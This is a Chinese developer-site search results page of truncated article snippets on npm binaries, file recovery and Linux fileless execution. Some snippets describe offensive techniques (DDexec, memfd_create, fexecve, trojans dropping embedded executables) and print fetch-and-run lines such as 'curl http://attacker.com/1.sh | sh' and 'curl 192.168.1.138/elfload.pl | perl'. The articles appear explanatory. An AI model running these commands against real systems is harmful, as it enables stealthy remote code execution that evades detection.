首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    如何使用 npm 执行本地安装 npm 包里的二进制文件

    什么是 npm 包的二进制文件?当我们谈论二进制文件时,我们指的是那些可执行的程序文件。通常,这些文件是以 .exe 或者没有扩展名的形式存在于操作系统中,例如 Unix 系统中的可执行脚本。...例如,像 webpack、eslint、typescript 这样的工具,它们本质上都是可以在命令行中直接执行二进制文件。...当你执行 npm install package-name(不带 -g 参数)时,包会被安装到当前项目的 node_modules 目录中,而对应的二进制文件会被放置到 node_modules/.bin...", "build": "tsc" }}当你执行 npm run lint 时,npm 会查找 eslint 的二进制文件,并执行它。...跨平台的好处假设你的团队中有开发者使用 Windows,有的使用 macOS 或者 Linux。在不同的操作系统中,路径格式是不一样的。

    8410

    如何使用DDexec在Linux上隐蔽运行二进制文件

    关于DDexec DDexec是一种能够在Linux上使用无文件技术和隐秘技术运行二进制文件的方法,它可以使用dd工具来将Shell替换为其他进程。...众所周知,在Linux上运行一个程序,则这个程序必须以一个文件的形式存在,而且必须能够通过文件系统层次结构并以某种方式访问到它,这也是execve()的工作机制。...这种机制不仅使得我们可以轻松控制Linux系统中运行的内容,而且还可以轻松检测到安全威胁或攻击者植入的恶意程序,甚至还可以阻止攻击者尝试执行他们的任何工具,比如说不允许未经授权的用户将可执行文件放在任何地方...下面给出的是一个使用样例: base64 -w0 /bin/ls | bash ddexec.sh /bin/ls -lA 项目中还提供了一个ddsc.sh脚本,该脚本允许我们直接运行二进制代码,下面给出的是一段...res/2018/pure-in-memory-linux.md https://github.com/carlospolop https://book.hacktricks.xyz/ https://

    3.3K20

    Linux文件渗透执行ELF

    exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?

    5.5K80

    linux下误执行rm -f命令后,如何恢复文件

    hi,偶然间看到在linux运行了rm命令之后还能恢复,很是神奇所以就看了下,不知道是不是真的,管他呢先转载啊,不行再删呗反正怎么都是灌水,此文教程并未测试,如有问题请@原作者,在我们在生产环境服务器上执行...rm命令时,总是提心吊胆的,因为一不小心执行了误删,一旦误删没办法了然后就要准备跑路了,毕竟人不是机器,更何况机器也有bug,假如真的不小心删除了不该删除的文件,比如数据库、日志或执行文件,咋办呢?...在Linux系统中,每个运行中的程序都有一个宿主进程彼此隔离,以/proc/进程号来体现(Linux本质上就是一个文件系统),比如:ls -l /proc/13067 查看进程PID为13067的进程信息...;当程序运行时,操作系统会专门开辟一块内存区域,提供给当前进程使用,对于依赖的文件,操作系统会发放一个文件描述符,以便读写文件,当我们执行 rm -f 删除文件时,其实只是删除了文件的目录索引节点,对于文件系统不可见...总结 如果不小心误删了文件,不要着急,首先使用 lsof 查看打开该文件的进程,然后再使用 cat /proc/进程号/fd/文件描述符 查看恢复数据,最后使用I/O重定向的方式来恢复文件

    7.4K31

    linux文件执行— fexecve 揭秘

    继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?

    4.7K40

    二进制文件加入VC资源后释放执行

    一个exe文件怎么生出另一个exe文件?    ...一般的木马生成、木马释放都使用的这个方法,dll也可以加到资源中,这样我们的程序就可以免去包含很多乱七八糟的二进制文件,一个exe就够了,执行的时候再释放。    ...其实原理很简单,把二进制文件导入到资源中。我们就以vs2010为例:     0x01    在VC的资源视图中选择添加资源 - 导入,选择你要包含的exe ?    ...0x02    包含以后,会看到你选择的文件已经以二进制的形式展现在你面前: ?    ...0x03    来到代码编辑区,我们在需要使用这个exe文件的时候,从资源里拿出这段二进制代码,写入内存或一个磁盘文件就行了。

    1.5K41

    如何在 npm 上发布二进制文件

    我们主要的精力放在如何配置一个「功能全备」的前端项目。 然后,有些同学说,既然cli都有了,但是下载二进制文件很麻烦。最好是将f_cli发布到npm上。毕竟,在前端开发中,npm大家都熟悉。...所以,今天我们就来讲讲「如何二进制文件发布到npm」。 好了,天不早了,干点正事哇。 我们能所学到的知识点 ❝ Rust项目交叉编译 构建&发布目标npm项目 构建&发布主包 本地应用 1....然后我们可以在目标目录中的release中找到f_cli二进制文件。 针对Windows环境的特殊处理 在MacOS中将Rust编译为可以在Windows环境下执行二进制时,需要做额外的处理。...❞ bin 是 package.json 文件中的一个字段,用于定义「将包安装为全局命令时的可执行文件」。 bin 字段是一个对象,其中键是要创建的全局命令的名称,值是要执行的本地文件的路径。...", binaryName); } } // 使用child_process模块执行二进制文件并传递命令行参数 childProcess.execFileSync(getBinaryPath(),

    20410

    二进制文件(bin文件如何快速转化为数组?

    前言:最近在开发一个项目,秘钥是一个二进制文件,秘钥大概600+字节,目前还在开发阶段,需要把秘钥转换成数组定义在源码中,除了手动一个一字节改造外,还可以通过辅助工具改造,因此就有了本文的使用辅助工具转换...1、使用UltraEdit打开要转换的文件和转换后存放的文件,如下图: 左边为需要转换的文件,右边为转换后存放数组的文件 ? 2、选中要转换的文件,选择,编辑—>以十六进制复制选定视图 ?...3、将左边的文件复制到右边的文件里面 ? 4、选中右边的文件,选择列模式 ? 5、在列模式下,选中多余的地方,去掉即可 依次操作如下: ? ?...通过上面几个步骤,就可以快速的将bin文件转化为数组了。 ——————END——————

    3.5K20
    领券